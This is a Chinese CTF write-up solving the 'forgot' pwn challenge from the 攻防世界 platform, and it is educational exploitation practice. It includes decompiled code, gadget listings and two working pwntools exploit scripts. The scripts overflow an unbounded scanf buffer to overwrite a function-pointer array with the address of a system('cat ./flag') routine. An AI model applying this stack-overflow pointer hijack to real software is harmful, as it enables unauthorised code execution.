1. 程式人生 > 其它 >攻防世界forgot——讓人眼花目眩的一道題(詳細菜雞向)

攻防世界forgot——讓人眼花目眩的一道題(詳細菜雞向)

技術標籤:教程反彙編pwn

攻防世界forgot——讓人眼花目眩的一道題

今天做了一道攻防世界的進階題,看起來複雜的一匹,但是實際上也就這吧 (隨手關掉剛剛百度到的wp [doge]),做完後最直觀的感受就是自己的程式碼閱讀能力還有待提高。話不多說,先check個sec:

checksec

只開了NX(棧不可執行),四捨五入等於沒開保護,直接上虛擬碼

反彙編虛擬碼如下:

int __cdecl main()
{
  size_t v0; // ebx
  char v2[32]; // [esp+10h] [ebp-74h] BYREF
  _DWORD v3[10]; // [esp+30h] [ebp-54h]
  char
s[32]; // [esp+58h] [ebp-2Ch] BYREF int v5; // [esp+78h] [ebp-Ch] size_t i; // [esp+7Ch] [ebp-8h] v5 = 1; v3[0] = sub_8048604; v3[1] = sub_8048618; v3[2] = sub_804862C; v3[3] = sub_8048640; v3[4] = sub_8048654; v3[5] = sub_8048668; v3[6] = sub_804867C; v3[7] = sub_8048690; v3[8] = sub_80486A4;
v3[9] = sub_80486B8; puts("What is your name?"); printf("> "); fflush(stdout); fgets(s, 32, stdin); sub_80485DD(s); fflush(stdout); printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654); fflush(stdout); puts("Enter the string to be validate"
); printf("> "); fflush(stdout); __isoc99_scanf("%s", v2); for ( i = 0; ; ++i ) { v0 = i; if ( v0 >= strlen(v2) ) break; switch ( v5 ) { case 1: if ( sub_8048702(v2[i]) ) v5 = 2; break; case 2: if ( v2[i] == 64 ) v5 = 3; break; case 3: if ( sub_804874C(v2[i]) ) v5 = 4; break; case 4: if ( v2[i] == 46 ) v5 = 5; break; case 5: if ( sub_8048784(v2[i]) ) v5 = 6; break; case 6: if ( sub_8048784(v2[i]) ) v5 = 7; break; case 7: if ( sub_8048784(v2[i]) ) v5 = 8; break; case 8: if ( sub_8048784(v2[i]) ) v5 = 9; break; case 9: v5 = 10; break; default: continue; } } ((void (*)(void))v3[--v5])(); return fflush(stdout); }

講道理,這個程式碼看不來真不能怪我,每一個sub就是一個函式,這誰頂得住呀

讓我們先來看看函式邏輯,不然這題根本沒法做:

首先申請了一個數組v3用來存放一大堆函式指標,函式具體內容先不看,接著往下看。

接下來是要你輸入名字,作為一個已經把“gets”、“read”、“scanf”刻進DNA裡的小白一下就不困了,然鵝定睛一看,申請了32位元組的記憶體空間,也只是讀入了32位元組字元,只好不情不願的提起褲子接著往下看。

然後就是函式sub_80485DD,主要作用就是balabala輸出一大段廢話:

Hi Sanchez
                        Finite-State Automaton

I have implemented a robust FSA to validate email addresses
Throw a string at me and I will let you know if it is a valid email address

                                Cheers!

I should give you a pointer perhaps. Here: 8048654

Enter the string to be validate

然後又進行了一次讀入操作,這個讀入就有、意思了,申請了32位元組的記憶體空間但是 根 本 沒 有 限 制讀入大小,那不是為所欲為?後面的一大串都可以先不看,先來試試看能不能直接pwn掉。

首先考慮的當然就是return 2 system call,ROPgadget結果如下

ROPgadget --binary ./forgot --only "pop|ret"
Gadgets information
============================================================
0x08048adf : pop ebp ; ret
0x08048adc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048421 : pop ebx ; ret
0x08048ade : pop edi ; pop ebp ; ret
0x08048add : pop esi ; pop edi ; pop ebp ; ret
0x0804840a : ret
0x0804855e : ret 0xeac1
0x08048eb4 : ret 0xfff8

好傢伙,pop 到 eax ecx edx 的語句一句都沒有,題目又開了NX保護,所以return 2 shellcode 也做不到了,只好不情不願地接著往下看。

後面就是一坨switch語句,由於程式碼過長,呼叫的各函式具體程式碼就不貼出來了,主要作用就是一個一個地判斷輸入的字串到底是不是一個合法的郵箱格式,然後根據各個函式的返回結果改變v5的值。(講道理,我看到這裡就已經不想做這道題了,直接打開了百度開始搜wp)

緊接著就是一個函式指標的呼叫,具體呼叫的指標從陣列v3中取,取用函式指標的編號是被switch語句蹂躪了一大輪的v5。

這個時候我們就要看看到底那一大堆函式到底說的啥,如無意外應該是有一個system函式來讓我們return 2 text 的。

看看IDA pro的系統函式列表,果不其然看見了一個system函式,右擊找到system函式在程式碼中被引用的位置。

果然,皇天不負有心人,在一大堆花裡胡哨的函式裡確實藏著這麼一個出淤泥而不染的函式:

int sub_80486CC()
{
  char s[58]; // [esp+1Eh] [ebp-3Ah] BYREF

  snprintf(s, 0x32u, "cat %s", "./flag");
  return system(s);
}

但是題目肯定是不會自己呼叫這個函式的,那我們只能開出一個讓題目無法拒絕的條件

我們目前能夠控制的只有棧,實際上,從 esp + 0x58(字串 s 的首位元組)往後的整個棧幀都處於我們的完全掌控下,意思是說,我們能控制的引數有存放函式指標的v3陣列、變數v5和迴圈變數 i。其中,v5 與 i 會在後面的程式中被更改,所以沒有控制的價值,剩下的引數就只剩下v3陣列了。

說到這裡,想必大家都有大膽的想法了:

方法一:嚴格地控制字串的輸入,使得自己能夠預測最後v5的值,並更改序號v5所對應的函式指標為含有“cat flag”指令的函式sub_80486CC,使得函式按照我們所需的方向執行。

方法二:大半個棧幀都在我手裡,有必要那麼小心翼翼嗎?直接一波把函式指標陣列v3整個覆蓋成sub_80486CC的地址他不香嗎,任你v5是多少,只要執行v3中的函式就得直接跳到system函式。

像我這種粗人從來不喜歡搞那些繡花針的活,直接選了方案二,無腦爆破整個指標陣列,然後不就為所欲為了嗎?

exp如下

from pwn import *

context(arch = "i386", os = "linux")

p = process("./forgot")
#p = remote("111.200.241.244",33080)

sys_addr = p32(0x80486CC)

sys_setoff = 0x20  # len(s) = 32

payload = "a" * sys_setoff + sys_addr * 10

p.recvuntil(">")

p.sendline("Sanchez")

p.recvuntil(">")

p.sendline(payload)

p.interactive()

為了照顧到那些比較喜歡精確打擊的兄弟們,我準備了另一套方法,就是仔細分析函式條件,發現當v5的初始值為1的且整個s的值為大寫字母或者是 “*” 等字元的時候,v5 的值一直不變,這時只要把v3的首地址改成目標地址就行了

方法一exp

from pwn import *

context(arch = "i386", os = "linux")

p = process("./forgot")
#p = remote("111.200.241.244",33080)

sys_addr = p32(0x80486CC)

sys_setoff = 0x20  # len(s) = 32

payload = "A" * sys_setoff + sys_addr

p.recvuntil(">")

p.sendline("Sanchez")

p.recvuntil(">")

p.sendline(payload)

p.interactive()

所以說,這道題看似複雜,其實簡單的一匹,要告訴自己,一切pwn題都是紙老虎,因特納雄耐爾一定會實現!(bushi)

有啥問題可以在評論區盡情提,要是發現講述中有知識性錯誤也歡迎在評論區提出。碼字不易,xdm要是覺得有用的不妨點個贊支援下菜雞本雞我【doge】